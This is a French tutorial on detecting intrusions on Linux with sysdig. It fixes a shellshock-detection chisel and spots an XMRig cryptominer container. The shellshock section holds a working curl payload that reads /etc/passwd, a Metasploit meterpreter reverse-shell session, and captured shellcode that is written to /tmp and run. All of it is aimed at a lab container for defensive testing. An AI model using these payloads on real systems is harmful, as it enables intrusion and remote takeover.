Certains outils parfois très prisés des sysadmins se révèlent être aussi efficaces pour un usage en sécurité, que ce soit en offensif ou défensif. C’est le cas de sysdig, que nous allons utiliser dans le cadre de détection d’intrusion.
La détection et la prévention d’intrusion sont revenues à la mode avec les solutions EDR (End-point Detection and Response) des éditeurs, mais quand est-il des solutions libres ? Nous vous proposons de tenter de commencer à faire soi-même sa détection d’intrusion sur une machine GNU/Linux.
Pour cela, il nous faudrait un outil capable de décortiquer les actions menées au niveau du système d’exploitation. Un administrateur système pourrait penser à des logiciels en userland, mais il arrive parfois que ces outils soient limités en termes de détection. Alors que faire ? Écrire un nouveau wrapper ? Modifier la libc ? Et pourquoi ne pas réaliser cette surveillance au niveau du noyau lui-même ? Une idée moins saugrenue qu’il n’y paraît.
1. Surveiller oui, mais depuis le noyau
En surveillant depuis l’espace utilisateur, nous nous heurtons à des limitations. La première est que si le processus de surveillance est lancé avec un compte non privilégié, alors une élévation de privilège de la part d’un utilisateur malveillant permet de contourner le mécanisme. Qu’à cela ne tienne me direz-vous, exécutons notre système de surveillance avec les privilèges root, de cette manière il est possible de surveiller en plus la totalité du système. Certes, mais il reste un grain de sable qui peut gripper cette mécanique bien huilée : un attaquant qui réussit à élever ses privilèges pour devenir root et dépose un rootkit sous forme de module noyau peut alors contourner notre sécurité et se rendre invisible.
Vous l’aurez compris, déplacer la surveillance au niveau du noyau n’est pas une panacée, mais demande à l’attaquant encore plus d’effort pour contourner notre système. Pour mener à bien notre tâche, c’est sysdig que nous avons choisi, d’une part parce qu’il vient sous la forme d’un module noyau, mais ce n’est pas non plus le seul avantage qu’il propose, il est en effet capable de surveiller des sous-systèmes lancés dans des conteneurs.
1.1 Installation et premiers pas
Sur un système Debian, l’installation est très simple grâce aux packages mis à disposition dans la distribution elle-même :
Le package falcosecurity-scap-dkms est utilisé pour la détection en temps réel, il contient le code source des modules noyau nécessaires pour la collecte des données.
Pour vérifier que sysdig est bien installé, en tapant la commande suivante, vous devriez avoir l’ensemble des événements que l’outil peut surveiller. Certains ont une valeur ajoutée pour de la détection de malwares :
...
proc.name the name (excluding the path) of the executable generating the event.
proc.args the arguments passed on the command line when starting the process generating the event.
proc.env the environment variables of the process generating the event.
proc.cmdline full process command line, i.e. proc.name + proc.args.
...
fd.ip (FILTER ONLY) matches the ip address (client or server) of the fd.
fd.cip client IP address.
fd.sip server IP address.
fd.lip local IP address.
fd.rip remote IP address.
...
evt.args all the event arguments, aggregated into a single string.
evt.arg one of the event arguments specified by name or by number. Some events (e.g. return codes or FDs) will be converted into a text representation when possible. E.g. 'evt.arg.fd' or 'evt.arg[0]'.
Faisons un premier test pour vérifier que tout fonctionne :
Comme vous vous en doutez fortement, nous allons ici capturer les événements liés aux processus dont le nom est « id » et les enregistrer dans le fichier id.scap avec une limite de buffer de 2000 octets.
Une fois la commande id tapée dans un autre terminal, on peut mettre fin au processus sysdig d’un simple ^C et observer le résultat à l’aide de la commande :
Vous noterez que la sortie est très verbeuse, les utilisateurs de strace ne seront pas dépaysés. Voici un extrait de ce que l’on peut voir :
...
414 15:33:34.464578705 3 id (6404) > openat dirfd=-100(AT_FDCWD) name=/lib/x86_64-linux-gnu/libc.so.6 flags=4097(O_RDONLY|O_CLOEXEC) mode=0
415 15:33:34.464584072 3 id (6404) < openat fd=3(<f>/lib/x86_64-linux-gnu/libc.so.6) dirfd=-100(AT_FDCWD) name=/lib/x86_64-linux-gnu/libc.so.6 flags=4097(O_RDONLY|O_CLOEXEC) mode=0 dev=FE01
416 15:33:34.464586244 3 id (6404) > read fd=3(<f>/lib/x86_64-linux-gnu/libc.so.6) size=832
...
572 15:33:34.465581875 3 id (6404) > read fd=3(<f>/etc/passwd) size=4096
573 15:33:34.465584028 3 id (6404) < read res=2172 data=root:x:0:0:root:/root:/bin/bash.daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nolog...
574 15:33:34.465598885 3 id (6404) > close fd=3(<f>/etc/passwd)
...
596 15:33:34.465658068 3 id (6404) > read fd=3(<f>/etc/group) size=4096
597 15:33:34.465659720 3 id (6404) < read res=1082 data=root:x:0:.daemon:x:1:.bin:x:2:.sys:x:3:.adm:x:4:glmf.tty:x:5:.disk:x:6:.lp...
598 15:33:34.465675229 3 id (6404) > close fd=3(<f>/etc/group)
On obtient le PID du processus id lancé, ainsi que le PID du parent et son nom (bash ici), les variables d’environnement liées, mais aussi les différentes bibliothèques chargées et enfin les fichiers ouverts par la commande pour obtenir le résultat escompté, à savoir l’UID de l’utilisateur ainsi que les différents groupes locaux dont il est membre. La sortie compte 411 lignes parmi lesquelles il nous faut trier pour trouver l’information pertinente. Heureusement, sysdig dispose de filtres, essayons donc de nous débarrasser des informations superflues en ne gardant, par exemple, que les fichiers ouverts dans /etc :
La sortie de la commande ne fait alors plus que 122 lignes. C’est mieux, mais il est encore possible de réduire le bruit en sortie de commande, car les informations affichées ne sont pas toutes nécessaires, en particulier nous avons les fermetures de fichiers qui ne nous intéressent pas :
Il est possible d’utiliser une forme plus courte encore, qui sera préférée si jamais les arguments evt.type deviennent plus nombreux :
Cette fois-ci, l’objectif est atteint, nous n’avons plus que 54 lignes dans la sortie de notre commande et l’information utile est lisible.
1.2 Aller plus loin avec les chisels
Vous l’aurez compris, il est possible de jouer sur les conditions pour surveiller des événements bien précis et sortir des informations pertinentes. Bien entendu, écrire des lignes de commandes avec des conditions à rallonge n’est pas viable, sysdig propose donc de charger des scripts prêts à l’emploi. Pour avoir la liste des scripts à votre disposition, tapez :
Vous obtiendrez une liste de scripts utilisables. En ouvrant ces scripts, vous vous rendrez compte que le nom de fichier contient l’extension Lua, ce n’est pas un hasard, les chisels de sysdig sont écrits dans ce langage. Commençons par regarder le fonctionnement d’un chisel simple, celui appelé netstat :
La sortie de la commande vous montrera non seulement les quadruplets IP de destination, port de destination, IP source, port source, mais aussi le processus local qui a initié ou reçu la connexion. Lisons le script en diagonale pour essayer de comprendre ce que fait le chisel et comment :
function on_set_arg(name, val)
function on_set_arg(name, val)
function on_init()
function on_capture_start()
function on_event()
function on_capture_end()
Nous sommes ici face à des fonctions appelées chacune à leur tour. Par défaut, le chisel netstat va afficher la totalité des connexions, il est possible de passer des arguments sous la forme d’une expression compréhensible par sysdig, comme ce que nous avons vu précédemment. La fonction on_set_arg() est appelée pour permettre cette précision :
La fonction on_init() est la première appelée lors du lancement du chisel, puis vient la fonction on_capture_start() lorsqu’une capture live est demandée. Le traitement et l’affichage des résultats se font dans la fonction on_capture_end(). Quant à la fonction on_event(), elle est utilisée pour filtrer les événements au fur et à mesure qu’ils passent le filtre appliqué dans la fonction on_init(). Dans le cas de netstat, le seul événement qui sera traité est la fin de la capture.
Essayons maintenant un chisel plus orienté sécurité et détection. La CVE-2014-6271, aussi connue sous le nom de shellshock, affecte le logiciel Bash jusqu’à sa version 4.3 et rend possible l’exécution de code en utilisant une vulnérabilité dans le traitement des variables d’environnement. Cette vulnérabilité a été exploitée principalement via des CGI utilisant des scripts shell. Un chisel existe pour détecter une exploitation de shellshock, essayons-le :
invalid filter in chisel shellshock_detect: filter error at position 51: expression mixes 'and' and 'or' in an ambiguous way. Please use brackets.
shellshock_detect: error in init(): C++ exception
Il semblerait qu’une erreur se soit glissée dans le script. Mais nous connaissons le fonctionnement des filtres sysdig ainsi que la structure d’un chisel, cela va donc faciliter la recherche de l’erreur et sa correction. En relisant le filtre écrit dans la fonction on_init() du script, l’erreur saute aux yeux :
Il manque les parenthèses, nous corrigeons donc et cette fois-ci, notre chisel se lance et reste en attente d’un événement qui va le déclencher :
Pour simuler l’attaque, nous allons utiliser un conteneur Docker écrit spécialement pour émuler cette faille :
Une fois notre conteneur construit, nous le lançons et exécutons une commande pour tester et obtenons le résultat escompté :
$ curl -A "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://172.17.0.2/cgi-bin/shockme.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Mais rien du côté de la détection, le terminal depuis lequel est lancé le chisel reste muet. C’est donc le moment de lancer sysdig pour déboguer ! Heureusement, nos connaissances fraîchement acquises vont nous permettre de comprendre pourquoi. En faisant tourner sysdig en précisant le conteneur inspecté, l’erreur est compréhensible :
30940 11:47:13.148529319 0 apache2 (28921.28921) > execve filename=/usr/lib/cgi-bin/shockme.cgi
30941 11:47:13.148705004 0 shockme.cgi (28921.28921) < execve res=0 exe=/usr/local/bin/bash args=/usr/lib/cgi-bin/shockme.cgi. tid=28921(shockme.cgi) pid=28921(shockme.cgi) ptid=20735(apache2) cwd= fdlimit=8192 pgft_maj=0 pgft_min=44 vm_size=1332 vm_rss=4 vm_swap=0 comm=shockme.cgi cgroups=cpuset=/system.slice/docker-f2c9907e7c115a4ef1a8b38b3bef90636e8458da9b9ecb676... env=HTTP_HOST=172.17.0.2.HTTP_USER_AGENT=() { test;};echo "Content-type: text/pla... tty=0 pgid=696 loginuid=-1 flags=0
31114 11:47:13.149149935 5 shockme.cgi (28922.28922) > execve filename=/bin/cat
31115 11:47:13.149224356 5 cat (28922.28922) < execve res=0 exe=/bin/cat args=/etc/passwd. tid=28922(cat) pid=28922(cat) ptid=28921(shockme.cgi) cwd= fdlimit=8192 pgft_maj=0 pgft_min=34 vm_size=360 vm_rss=4 vm_swap=0 comm=cat cgroups=cpuset=/system.slice/docker-f2c9907e7c115a4ef1a8b38b3bef90636e8458da9b9ecb676... env=HTTP_HOST=172.17.0.2._=/bin/cat. tty=0 pgid=696 loginuid=-1 flags=0
Le filtre sur proc.name n’est pas bon et il faut donc le modifier, ici la nouvelle valeur du filtre dans la fonction d’initialisation sera la suivante :
Ce filtre peut paraître large au premier abord, mais un second niveau de filtrage est réalisé dans la fonction on_event() qui permet d’écarter les faux positifs. Une fois notre chisel mis à jour, nous relançons notre commande de test contre notre conteneur vulnérable et cette fois-ci, nous détectons correctement l’attaque :
TIME PROCNAME PID FUNCTION
11:55:42.942849687 apache2 20735 () { test;};echo "Content-type: text/plain"; echo; echo; /bin/cat /etc/passwd
Notre test est détecté, mais qu’en est-il d’une « vraie attaque » shellshock, me direz-vous ? Pour le savoir, lançons l’outil Metasploit :
...
msf6 > use exploit/multi/http/apache_mod_cgi_bash_env_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/shockme.cgi
TARGETURI => /cgi-bin/shockme.cgi
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (1017704 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:43708) at 2022-12-22 11:58:38 +0100
meterpreter >
L’attaque est réussie, comme prévu, mais la remontée par sysdig l’est aussi, ce qui nous rassure sur les capacités de détection de notre chisel :
TIME PROCNAME PID FUNCTION
11:58:37.939027119 apache2 20735 () { :;};echo -e "\r\nKV3szzz4DoZ$(echo -en \\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x54\\x80\\x04\\x08\\x34\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x04\\x08\\x00\\x80\\x04\\x08\\xcf\\x00\\x00\\x00\\x4a\\x01\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x6a\\x0a\\x5e\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\xb0\\x66\\x89\\xe1\\xcd\\x80\\x97\\x5b\\x68\\xac\\x11\\x00\\x01\\x68\\x02\\x00\\x11\\x5c\\x89\\xe1\\x6a\\x66\\x58\\x50\\x51\\x57\\x89\\xe1\\x43\\xcd\\x80\\x85\\xc0\\x79\\x19\\x4e\\x74\\x3d\\x68\\xa2\\x00\\x00\\x00\\x58\\x6a\\x00\\x6a\\x05\\x89\\xe3\\x31\\xc9\\xcd\\x80\\x85\\xc0\\x79\\xbd\\xeb\\x27\\xb2\\x07\\xb9\\x00\\x10\\x00\\x00\\x89\\xe3\\xc1\\xeb\\x0c\\xc1\\xe3\\x0c\\xb0\\x7d\\xcd\\x80\\x85\\xc0\\x78\\x10\\x5b\\x89\\xe1\\x99\\xb2\\x6a\\xb0\\x03\\xcd\\x80\\x85\\xc0\\x78\\x02\\xff\\xe1\\xb8\\x01\\x00\\x00\\x00\\xbb\\x01\\x00\\x00\\x00\\xcd\\x80>>/tmp/hcMGs ; /bin/chmod 777 /tmp/hcMGs ; /tmp/hcMGs)KV3szzz4DoZ"
11:58:38.197361855 apache2 20735 () { :;};echo -e "\r\nKV3szzz4DoZ$(/tmp/hcMGs)KV3szzz4DoZ"
Le lecteur attentif notera au passage que les attaquants ont agi juste avant la pause déjeuner, ne laissant aucun répit aux analystes qui travailleront sur cet incident.
2. Et en production, ça sert à quoi ?
2.1 Choisir la menace contre laquelle se prémunir
De plus en plus, les attaquants compromettent un système pour avoir un pied sur un système d’information, la finalité pouvant être l’exfiltration de données pour ensuite faire du chantage à la divulgation, l’installation de logiciels de minage de cryptomonnaies ou encore le chiffrement des données pour du rançonnage. Nous couvrirons dans le cadre de cet article la détection des logiciels de minage.
Nous avons pour cela à disposition dans sysdig plusieurs armes : la détection de connexions réseau pour le téléchargement du logiciel, mais aussi pour les connexions aux serveurs de pool de cryptominages. Ensuite, nous pouvons mesurer la consommation CPU ou bien l’exécution de certaines commandes.
Depuis déjà quelque temps, la conteneurisation a pris le pas en production et nombreuses sont les infrastructures mises en place à grands coups de docker pull. Mais que se passe-t-il si un dépôt Docker est compromis et que l’attaquant y ajoute une porte dérobée, ou juste un simple cryptominer ? Comment savoir si notre infrastructure est saine ?
Prenons un exemple et téléchargeons volontairement un conteneur exécutant un cryptominer, pour cela nous nous référons à un exemple donné dans l’article de Bleeping Computer [1] :
...
Digest: sha256:81b850230c2a9ea155aa06adda5537f5e01a4ec2b0209aaa24c23e06161ff385
Status: Downloaded newer image for vibersastra/ubuntu:latest
docker.io/vibersastra/ubuntu:latest
Le conteneur téléchargé, il est ensuite exécuté :
* ABOUT XMRig/6.17.0 gcc/10.3.1
* LIBS libuv/1.41.0 OpenSSL/1.1.1l hwloc/2.2.0
...
* POOL #1 pool.hashvault.pro:80 algo rx/0
* COMMANDS hashrate, pause, resume, results, connection
...
[2023-02-12 16:35:01.142] net new job from pool.hashvault.pro:80 diff 2541K algo rx/0 height 2820437 (19 tx)
[2023-02-12 16:35:03.337] randomx dataset ready
Maintenant, à nous de trouver comment détecter son exécution !
2.2 Analyser et trouver les bons artefacts
En parallèle dans un terminal, sysdig est lancé avec l’option -w pour enregistrer l’activité du conteneur. Comme indiqué sur la sortie standard de l’outil, des bibliothèques sont utilisées : libuv, libssl, libhwloc. C’est un bon début pour avoir des éléments de détection. En analysant plus en détail, on s’aperçoit qu’un autre point intéressant est l’utilisation par XMRig de la bibliothèque musl. Cette dernière remplace la libc générique et propose une version plus légère qui a été choisie par l’auteur de l’outil. Ce détail a son importance, car il nous permet de trier un peu plus finement encore.
Nous en arrivons à la très élégante (ou pas) commande suivante :
Dès que notre conteneur vérolé est lancé et que xmrig démarre, nous avons alors notre détection des bibliothèques utilisées par xmrig :
Ces éléments pourront ensuite être envoyés vers un SIEM pour être corrélés et créer un incident traité par nos chers analystes. Il est aisé de détecter un logiciel, dès lors que l’on connaît son comportement et sa constitution.
2.3 D’autres méthodes d’analyse ?
Nous ne l’avons pas vu dans notre exemple, mais il est possible de détecter un cryptominer d’autres façons, notamment les connexions aux serveurs de pool. L’outil Falco [2] qui est une surcouche à sysdig permet d’élaborer des règles en utilisant des fichiers de configuration en YAML, et notamment des listes. Vous vous en doutez, avoir des listes d’adresses IP ou de noms de domaines désignant des pools de cryptominage serait un avantage considérable dans la détection de logiciels comme XMRig. De même que des listes d’adresses IP de serveurs de botnet permettront de détecter un comportement suspect sur une machine.
L’article sur le blog du projet sysdig [3] est un bon résumé des capacités de Falco sur ce terrain de jeu. Les listes sont certes déjà à disposition, cela dit il ne faut pas oublier que des attaquants mettront probablement en place des proxys (parfois éphémères) qui eux ne seront pas forcément répertoriés.
Conclusion
Le logiciel sysdig est un outil efficace et qui aidera bien des analystes sécurité à trouver des traces de compromission sur une machine GNU/Linux. À noter qu’il existe sysdig-inspect, application web permettant de surveiller aisément tout un parc, à vous de l’essayer maintenant :).
Références
[1] Article sur les conteneurs Docker infectés Bleeping Computer :
https://www.bleepingcomputer.com/news/security/docker-hub-repositories-hide-over-1-650-malicious-containers/
[2] Logiciel Falco : http://www.falco.org
[3] Détection de cryptomineurs : https://sysdig.com/blog/detecting-cryptomining-attacks-in-the-wild/